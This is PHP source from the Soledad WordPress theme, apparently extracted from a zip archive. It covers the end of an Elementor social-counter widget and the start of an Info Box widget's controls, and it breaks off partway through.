			'pinterest'  => array( 'label' => __( 'Pinterest', 'soledad' ), 'default' => '' ),
			'flickr'     => array( 'label' => __( 'Flickr', 'soledad' ), 'default' => '' ),
			'vimeo'      => array( 'label' => __( 'Vimeo', 'soledad' ), 'default' => '' ),
			'soundcloud' => array( 'label' => __( 'SoundCloud', 'soledad' ), 'default' => '' ),
			'behance '   => array( 'label' => __( 'Behance', 'soledad' ), 'default' => '' ),
			'vk'         => array( 'label' => __( 'VK', 'soledad' ), 'default' => '' ),
			'tiktok'     => array( 'label' => __( 'Tiktok', 'soledad' ), 'default' => '' ),
			'twitch'     => array( 'label' => __( 'Twitch', 'soledad' ), 'default' => '' ),
			'rss'        => array( 'label' => __( 'RSS', 'soledad' ), 'default' => '' ),
		);

		foreach ( $pmetas as $key => $pmeta ) {
			$this->add_control( 'social_' . $key, array(
				'label'       => $pmeta['label'],
				'type'        => Controls_Manager::SWITCHER,
				'label_on'    => __( 'Show', 'soledad' ),
				'label_off'   => __( 'Hide', 'soledad' ),
				'default'     => $pmeta['default'],
				'separator'   => '',
				'description' => __( 'Setup ' . esc_attr( $pmeta['label'] ) . ' counter data <a target="_blank" href="' . esc_url( admin_url( 'admin.php?page=penci_social_counter_settings#tab-' . $key ) ) . '">here</a>.' ),
			) );
		}

		$this->end_controls_section();

		$this->start_controls_section( 'section_showhide_customizer', array(
			'label'     => esc_html__( 'Show/Hide Social Icons', 'soledad' ),
			'tab'       => Controls_Manager::TAB_CONTENT,
			'condition' => [ 'source' => 'customizer' ]
		) );

		$socials_profile = penci_social_media_array();
		$custom_social_icons = get_option( 'penci_custom_socials', array() );
		foreach ( $socials_profile as $name => $data ) {
			$default = in_array( $name, [ 'facebook', 'twitter', 'youtube', 'instagram' ] ) ? 'yes' : '';
			$this->add_control( 'social_profile_' . $name, array(
				'label'     => ucwords( isset( $custom_social_icons[ $name ]['name'] ) ? $custom_social_icons[ $name ]['name'] : $name ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Show', 'soledad' ),
				'label_off' => __( 'Hide', 'soledad' ),
				'default'   => $default,
				'separator' => '',
			) );
		}

		$this->end_controls_section();

		$this->register_block_title_section_controls();
		$this->start_controls_section( 'section_content_style', array(
			'label' => __( 'Social Items Settings', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'style_des', array(
			'type'            => Controls_Manager::RAW_HTML,
			'raw'             => __( 'Please note that: If you selected to use Brands Background Color or Brands Icons Color, some colors options below can not apply.', 'soledad' ),
			'content_classes' => 'elementor-descriptor',
		) );

		$this->add_responsive_control( 'counter_item_icon_size', [
			'label'      => __( 'Icon Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => [
				'px' => [
					'min'  => 0,
					'max'  => 500,
					'step' => 1,
				],
			],
			'selectors'  => [
				'{{WRAPPER}} .pcsoc-icon i' => 'font-size: {{SIZE}}px;',
				'{{WRAPPER}} .pcsocs-s3 i'  => 'line-height: {{SIZE}}px;',
			],
		] );

		$this->add_control( 'bgcl', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsocs-s1 .pcsoc-item' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s2 .pcsoc-icon' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s3 .pcsoc-item' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s4 .pcsoc-icon' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'hbgcl', array(
			'label'     => __( 'Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsocs-s1 .pcsoc-item:hover'             => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s2 .pcsoc-item:hover .pcsoc-icon' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s3 .pcsoc-item:hover'             => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s4 .pcsoc-item:hover .pcsoc-icon' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bordercl', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'fill' => 'border' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsocs-s1 .pcsoc-item' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s2 .pcsoc-icon' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s3 .pcsoc-item' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s4 .pcsoc-icon' => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'borderhcl', array(
			'label'     => __( 'Borders Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'fill' => 'border' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsocs-s1 .pcsoc-item:hover'             => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s2 .pcsoc-item:hover .pcsoc-icon' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s3 .pcsoc-item:hover'             => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s4 .pcsoc-item:hover .pcsoc-icon' => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'textcl', array(
			'label'     => __( 'Icons Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-item i' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'texthcl', array(
			'label'     => __( 'Icons Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-item:hover i' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'countcl', array(
			'label'     => __( 'Counter Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-counter' => 'color: {{VALUE}};',
			),
			'condition' => [ 'source' => 'counter' ]
		) );

		$this->add_control( 'counthcl', array(
			'label'     => __( 'Counter Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-item:hover .pcsoc-counter' => 'color: {{VALUE}};',
			),
			'condition' => [ 'source' => 'counter' ]
		) );

		$this->add_control( 'fanscl', array(
			'label'     => __( '"Fans" Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-item .pcsoc-fan' => 'color: {{VALUE}};',
			),
			'condition' => [ 'source' => 'counter' ]
		) );

		$this->add_control( 'fanshcl', array(
			'label'     => __( '"Fans" Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-item:hover .pcsoc-fan' => 'color: {{VALUE}};',
			),
			'condition' => [ 'source' => 'counter' ]
		) );

		$this->add_control( 'followcl', array(
			'label'     => __( '"Follow" Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-item .pcsoc-like' => 'color: {{VALUE}};',
			),
			'condition' => [ 'social_style' => 's2' ]
		) );

		$this->add_control( 'followhcl', array(
			'label'     => __( '"Follow" Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-item:hover .pcsoc-like' => 'color: {{VALUE}};',
			),
			'condition' => [ 'social_style' => 's2' ]
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'counter_item_typo_number',
			'label'     => __( 'Number Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcsoc-counter',
			'condition' => [ 'source' => 'counter' ]
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'counter_item_typo_infotext',
			'label'     => __( 'Info Text Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcsoc-fan, {{WRAPPER}} .pcsoc-like',
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'counter_item_typo_name',
			'label'     => __( 'Social Name Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcsoc-counter.pcsoc-socname,{{WRAPPER}} .pcsoc-socname',
		) );

		$this->add_control( 'socialname_cl', array(
			'label'     => __( 'Social Name Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-counter.pcsoc-socname,{{WRAPPER}} .pcsoc-socname' => 'color: {{VALUE}};',
			),
		) );
		
		$this->add_control( 'socialname_hvcl', array(
			'label'     => __( 'Social Name Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-item:hover .pcsoc-counter.pcsoc-socname,{{WRAPPER}} .pcsoc-item:hover .pcsoc-socname' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'use_shadow', array(
			'label'     => __( 'Use Shadow?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'separator' => 'before'
		) );

		$this->add_group_control( Group_Control_Box_Shadow::get_type(), array(
			'name'      => 'shadow',
			'label'     => __( 'Box Shadow', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcsocshadow .pcsc-brandflag',
			'condition' => array( 'use_shadow' => 'yes' ),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$css_class     = 'penci-block-vc penci-social-counter';
		$wrapper_class = 'pcsoc-wrapper';
		$social_style  = isset( $settings['social_style'] ) && $settings['social_style'] && in_array( $settings['social_style'], array(
			's1',
			's2',
			's3',
			's4'
		) ) ? $settings['social_style'] : 's1';
		$fill          = $settings['fill'] ? $settings['fill'] : 'border';
		$shape         = $settings['shape'] ? $settings['shape'] : 'rectangle';
		$color_style   = $settings['color_style'] ? $settings['color_style'] : 'custom';
		$brand_class   = $brand_class_icon = '';
		if ( in_array( $social_style, array( 's2', 's4' ) ) ) {
			$brand_class_icon = ' pcsc-brandflag';
		} else if ( in_array( $social_style, array( 's1', 's3' ) ) ) {
			$brand_class = ' pcsc-brandflag';
		}

		$wrapper_class .= ' pcsocs-' . $social_style;
		$wrapper_class .= ' pcsocf-' . $fill;
		$wrapper_class .= ' pcsocs-' . $shape;
		$wrapper_class .= ' pcsoccl-' . $color_style;

		if ( 's4' != $social_style ) {
			$column_default        = in_array( $social_style, array( 's3' ) ) ? '3' : '1';
			$column                = $settings['column'] ? $settings['column'] : $column_default;
			$tab_column_default    = in_array( $social_style, array( 's3' ) ) ? 'default' : '1';
			$mobile_column_default = in_array( $social_style, array( 's3' ) ) ? '2' : '1';
			$tab_column            = $settings['tab_column'] ? $settings['tab_column'] : $tab_column_default;
			$mobile_column         = $settings['mobile_column'] ? $settings['mobile_column'] : $mobile_column_default;
			$wrapper_class         .= ' pcsocc-' . $column;
			$wrapper_class         .= ' pcsocc-tabcol-' . $tab_column;
			$wrapper_class         .= ' pcsocc-mocol-' . $mobile_column;
		}

		if ( 'yes' == $settings['use_shadow'] ) {
			$wrapper_class .= ' pcsocshadow';
		}
		?>
        <div class="pcsoc-wrapper-outside source-<?php echo esc_attr( $settings['source'] ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="<?php echo $wrapper_class; ?>">
				<?php
				if ( 'counter' == $settings['source'] ) {
					$socials = array(
						'facebook',
						'twitter',
						'youtube',
						'instagram',
						'pinterest',
						'flickr',
						'vimeo',
						'soundcloud',
						'behance ',
						'vk',
						'tiktok',
						'twitch',
						'rss',
					);


					foreach ( $socials as $social ) {


						if ( empty( $settings[ 'social_' . $social ] ) ) {
							continue;
						}

						$social_info = \PENCI_FW_Social_Counter::get_social_counter( $social );

						$social_info_name = $social_info['name'] ?? '';

						if ( ! $social_info || ! $social_info_name ) {
							continue;
						}
						if ( 'tiktok' === $social ) {
							$count = $social_info['count'];
						} else {
							$count = \PENCI_FW_Social_Counter::format_followers( $social_info['count'] );
						}

						$count = $count ? $count : '';

						$social_icon     = $social_info['icon'];
						$social_follower = isset( $social_info['text_below'] ) && $social_info['text_below'] ? $social_info['text_below'] : '';
						$social_follow   = isset( $social_info['text_btn'] ) && $social_info['text_btn'] ? $social_info['text_btn'] : '';
						$social_url      = isset( $social_info['url'] ) && $social_info['url'] ? $social_info['url'] : '';
						?>
                        <div class="pcsoc-item-wrap">
                            <a class="pcsoc-item pcsoci-<?php echo $social . $brand_class; ?><?php if ( ! $count ) {
								echo ' empty-count';
							} ?>" href="<?php echo esc_url( $social_url ); ?>"
                               target="_blank" <?php echo penci_reltag_social_icons(); ?>>
                                <span class="pcsoc-icon pcsoci-<?php echo $social . $brand_class_icon; ?>"><?php echo $social_icon; ?></span>
								<?php if ( $count && 'yes' != $settings['hide_count'] ) { ?>
                                    <span class="pcsoc-counter"><?php echo $count; ?></span>
                                    <span class="pcsoc-fan"><?php echo $social_follower; ?></span>
								<?php } else { ?>
                                    <span class="pcsoc-counter pcsoc-socname"><?php echo $social; ?></span>
								<?php } ?>
								<?php if ( in_array( $social_style, array( 's1', 's2' ) ) ) { ?>
                                    <span class="pcsoc-like"><?php echo $social_follow; ?></span>
								<?php } ?>
                            </a>
                        </div>
						<?php
					}
				} else {
					$socials = penci_social_media_array();
					$custom_social_icons = get_option( 'penci_custom_socials', array() );
					foreach ( $socials as $social => $sdata ) {

						if ( empty( $settings[ 'social_profile_' . $social ] ) ) {
							continue;
						}

						$social_icon   = penci_icon_by_ver( $sdata[1] );
						$social_follow = penci_get_setting( 'penci_trans_follow' );
						$social_url    = esc_url( do_shortcode( $sdata[0] ) );
						$name = isset( $custom_social_icons[ $social ]['name'] ) ? $custom_social_icons[ $social ]['name'] : $social;
						?>
                        <div class="pcsoc-item-wrap">
                            <a class="pcsoc-item pcsoci-<?php echo $social . $brand_class; ?> empty-count"
                               href="<?php echo esc_url( $social_url ); ?>"
                               target="_blank" <?php echo penci_reltag_social_icons(); ?>>
                                <span class="pcsoc-icon pcsoci-<?php echo $social . $brand_class_icon; ?>"><?php echo $social_icon; ?></span>
                                <span class="pcsoc-counter pcsoc-socname"><?php echo $name; ?></span>
								<?php if ( in_array( $social_style, array( 's1', 's2' ) ) ) { ?>
                                    <span class="pcsoc-like"><?php echo $social_follow; ?></span>
								<?php } ?>
                            </a>
                        </div>
						<?php
					}
				}
				?>
            </div>
        </div>
		<?php
	}
}
PK     N\u[  [  /  inc/elementor/modules/penci-info-box/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciInfoBox;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-info-box';
	}

	public function get_widgets() {
		return array( 'PenciInfoBox' );
	}
}
PK     N\^K  K  ?  inc/elementor/modules/penci-info-box/widgets/penci-info-box.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciInfoBox\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Typography;
use Elementor\Controls_Manager;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciInfoBox extends Base_Widget {

	public function get_name() {
		return 'penci-info-box';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Info Box', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-image-box';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'icon', 'box', 'info', 'icon box' );
	}

	protected function register_controls() {


		$this->start_controls_section(
			'section_icon', array(
				'label' => __( 'Info Box', 'soledad' ),
			)
		);
		$this->add_control(
			'icon_type', array(
				'label'   => __( 'Icon type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'icon'  => __( 'Icon', 'soledad' ),
					'image' => __( 'Image', 'soledad' ),
					'svg'   => __( 'SVG', 'soledad' ),
					'text'  => __( 'Text', 'soledad' ),
				),
				'default' => 'icon',
			)
		);
		$this->add_control( 'svg_tips', array(
			'type'            => Controls_Manager::RAW_HTML,
			'raw'             => '<strong style="color: #93003c;">Tips:</strong> You can download many nice free SVG icons via <a target="_blank" href="https://www.flaticon.com/">this website</a> and use them for your website.',
			'content_classes' => 'elementor-descriptor',
			'condition'       => array( 'icon_type' => 'svg' ),
		) );
		$this->add_control(
			'icon', array(
				'label'       => __( 'Icon', 'soledad' ),
				'type'        => Controls_Manager::ICON,
				'default'     => 'fas fa-star',
				'label_block' => true,
				'condition'   => array( 'icon_type' => 'icon' ),
			)
		);

		$this->add_control(
			'image',
			array(
				'label'     => __( 'Choose Image', 'soledad' ),
				'type'      => Controls_Manager::MEDIA,
				'default'   => array( 'url' => Utils::get_placeholder_image_src() ),
				'condition' => array( 'icon_type' => 'image' ),
			)
		);
		$this->add_control(
			'image_hover',
			array(
				'label'     => __( 'Choose Image Hover', 'soledad' ),
				'type'      => Controls_Manager::MEDIA,
				'condition' => array( 'icon_type' => 'image' ),
			)
		);

		$this->add_control(
			'image_size', array(
				'label'     => __( 'Custom Image Size', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'thumbnail',
				'options'   => $this->get_list_image_sizes( true ),
				'condition' => array( 'icon_type' => 'image' ),
			)
		);

		$this->add_control(
			'image_bd_radius',
			array(
				'label'     => __( 'Image Border Radius', 'soledad' ),
				'type'      => Controls_Manager::DIMENSIONS,
				'condition' => array( 'icon_type' => 'image' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-info-box.penci-shape-circle .penci-ibox-icon--image' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_responsive_control(
			'image_bd_w',
			array(
				'label'     => __( 'Image Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'condition' => array( 'icon_type' => 'image' ),
				'default' => [
					'unit' => 'px',
				],
				'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ],
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-info-box.penci-shape-circle .penci-ibox-icon--image' => 'width: 100%;max-width: {{SIZE}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'csvg', array(
				'label'     => __( 'Icon or SVG', 'soledad' ),
				'type'      => Controls_Manager::ICONS,
				'default'   => [
					'value'   => 'fas fa-star',
					'library' => 'solid',
				],
				'condition' => array( 'icon_type' => 'svg' ),
			)
		);
		$this->add_control(
			'ctext', array(
				'label'     => __( 'Text', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => '01',
				'condition' => array( 'icon_type' => 'text' ),
			)
		);

		$this->add_control(
			'icon_view', array(
				'label'     => __( 'View', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'default',
				'condition' => array( 'icon_type' => array( 'icon', 'svg', 'text' ) ),
				'options'   => array(
					'default' => esc_html__( 'Default', 'soledad' ),
					'stacked' => esc_html__( 'Stacked', 'soledad' ),
					'framed'  => esc_html__( 'Framed', 'soledad' )
				)
			)
		);
		$this->add_control(
			'icon_shape', array(
				'label'     => __( 'Shape', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'circle',
				'condition' => array( 'icon_view' => array( 'stacked', 'framed' ) ),
				'options'   => array(
					'circle' => esc_html__( 'Circle', 'soledad' ),
					'square' => esc_html__( 'Square', 'soledad' )
				),
			)
		);

		$this->add_control(
			'icon_hover_animation', array(
				'label'     => __( 'Hover Animation', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'condition' => array( 'icon_view' => array( 'stacked', 'framed' ) ),
				'options'   => array(
					''             => esc_html__( 'None', 'soledad' ),
					'grow'         => esc_html__( 'Grow', 'soledad' ),
					'shrink'       => esc_html__( 'Shrink', 'soledad' ),
					'pulse'        => esc_html__( 'Pulse', 'soledad' ),
					'pulse-grow'   => esc_html__( 'Pulse Grow', 'soledad' ),
					'pulse-shrink' => esc_html__( 'Pulse Shrink', 'soledad' ),
					'push'         => esc_html__( 'Push', 'soledad' ),
					'pop'          => esc_html__( 'Pop', 'soledad' ),
					'custom-1'     => esc_html__( 'Custom Style 1', 'soledad' ),
					'custom-2'     => esc_html__( 'Custom Style 2', 'soledad' ),
					'custom-3'     => esc_html__( 'Custom Style 3', 'soledad' ),
					'custom-4'     => esc_html__( 'Custom Style 4', 'soledad' ),
					'custom-5'     => esc_html__( 'Custom Style 5', 'soledad' )
				),
			)
		);

		$this->add_control(
			'icon_position', array(
				'label'   => __( 'Icon position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'top-left'    => __( 'Top left', 'soledad' ),
					'top-center'  => __( 'Top center', 'soledad' ),
					'top-right'   => __( 'Top right', 'soledad' ),
					'float-left'  => __( 'Float left', 'soledad' ),
					'float-right' => __( 'Float right', 'soledad' ),
				),
				'default' => 'float-left',
			)
		);

		$this->add_control(
			'content_vertical_position',
			array(
				'label'                => __( 'Vertical Position', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'condition'            => array( 'icon_position' => array( 'float-left', 'float-right' ) ),
				'options'              => array(
					'top'    => array(
						'title' => __( 'Top', 'soledad' ),
						'icon'  => 'eicon-v-align-top',
					),
					'middle' => array(
						'title' => __( 'Middle', 'soledad' ),
						'icon'  => 'eicon-v-align-middle',
					),
					'bottom' => array(
						'title' => __( 'Bottom', 'soledad' ),
						'icon'  => 'eicon-v-align-bottom',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} .penci-ibox-float-left .penci-ibox-inner'  => 'align-items: {{VALUE}}',
					'{{WRAPPER}} .penci-ibox-float-right .penci-ibox-inner' => 'align-items: {{VALUE}}',
				),
				'selectors_dictionary' => array(
					'top'    => 'flex-start',
					'middle' => 'center',
					'bottom' => 'flex-end',
				),
			)
		);

		$this->add_responsive_control(
			'icon_width', array(
				'label'     => __( 'Width/Height for Box Contain Icon', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'condition' => array( 'icon_view!' => 'default' ),
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-ibox-icon' => 'width: {{SIZE}}px;height:{{SIZE}}px;display: flex;',
				),
			)
		);

		$this->add_control(
			'subtitle', array(
				'label'       => __( 'Sub Title', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => '',
				'placeholder' => __( 'Enter your sub title', 'soledad' ),
				'label_block' => true,
				'separator'   => 'before',
			)
		);

		$this->add_control(
			'title_text', array(
				'label'       => __( 'Title', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => __( 'This is the heading', 'soledad' ),
				'placeholder' => __( 'Enter your title', 'soledad' ),
				'label_block' => true,
			)
		);
		$this->add_control(
			'_use_line', array(
				'label'     => __( 'Use Line Below The Title', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);
		$this->add_control(
			'pline_height', array(
				'label'     => __( 'Custom Height of Line', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-ibox-line' => 'height: {{SIZE}}px' ),
				'condition' => array( '_use_line!' => '' ),
			)
		);
		$this->add_control(
			'pline_width', array(
				'label'     => __( 'Custom Width of Line', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-ibox-line' => 'width: {{SIZE}}px' ),
				'condition' => array( '_use_line!' => '' ),
			)
		);

		$this->add_control(
			'description_text', array(
				'label'       => __( 'Content', 'soledad' ),
				'type'        => Controls_Manager::WYSIWYG,
				'default'     => __( 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'soledad' ),
				'placeholder' => __( 'Enter your description', 'soledad' ),
			)
		);

		$this->add_control(
			'addrm', array(
				'label'        => __( 'Add Read More Button', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
			)
		);

		$this->add_control(
			'treadmore', array(
				'label'     => __( 'Button Text', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => 'Read More',
				'condition' => array( 'addrm' => 'yes' ),
			)
		);

		$this->add_control(
			'link', array(
				'label'       => __( 'Link', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
				'separator'   => 'before',
			)
		);

		$this->add_control(
			'wraplink', array(
				'label'        => __( 'Wrap Link for Whole Info Box?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
			)
		);


		$this->end_controls_section();

		// Design
		$this->start_controls_section(
			'section_design_spacing',
			array(
				'label' => __( 'Elements Spacing', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_responsive_control(
			'stitle_marbt', array(
				'label'       => __( 'Sub Title Margin Bottom', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::SLIDER,
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array( '{{WRAPPER}} .penci-info-box .penci-ibox-stit' => 'margin-bottom: {{SIZE}}px' ),
			)
		);


		$this->add_responsive_control(
			'icon_marbt', array(
				'label'       => __( 'Margin Bottom for Box Contain Icon', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::SLIDER,
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array( '{{WRAPPER}} .penci-ibox-icon' => 'margin-bottom: {{SIZE}}px' ),
				'condition'   => array( 'icon_position!' => array( 'float-left', 'float-right' ) ),
			)
		);
		$this->add_responsive_control(
			'icon_marleft', array(
				'label'       => __( 'Margin Left for Box Contain Icon', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::SLIDER,
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array( '{{WRAPPER}} .penci-ibox-float-right .penci-ibox-icon' => 'margin-left: {{SIZE}}px' ),
				'condition'   => array( 'icon_position' => array( 'float-right' ) ),
			)
		);
		$this->add_responsive_control(
			'icon_marright', array(
				'label'       => __( 'Margin Right for Box Contain Icon', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::SLIDER,
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array( '{{WRAPPER}} .penci-ibox-float-left .penci-ibox-icon' => 'margin-right: {{SIZE}}px' ),
				'condition'   => array( 'icon_position' => array( 'float-left' ) ),
			)
		);
		$this->add_responsive_control(
			'title_paddingtop', array(
				'label'     => __( 'Title Padding Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-ibox-title' => 'padding-top: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'title_marbt', array(
				'label'     => __( 'Title Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-ibox-title' => 'margin-bottom: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'desc_martop', array(
				'label'     => __( 'Description Margin Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-ibox-content' => 'margin-top: {{SIZE}}px' ),
			)
		);

		$this->add_responsive_control(
			'btn_martop', array(
				'label'     => __( 'Read More Button Margin Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-ibox-readmore' => 'margin-top: {{SIZE}}px' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_design_content',
			array(
				'label' => __( 'Typography & Colors', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'psix_style',
			array(
				'label' => __( 'Infor Box', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$this->start_controls_tabs(
			'style_tabs'
		);

		$this->start_controls_tab(
			'style_normal_tab', array(
				'label' => __( 'Normal', 'soledad' ),
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
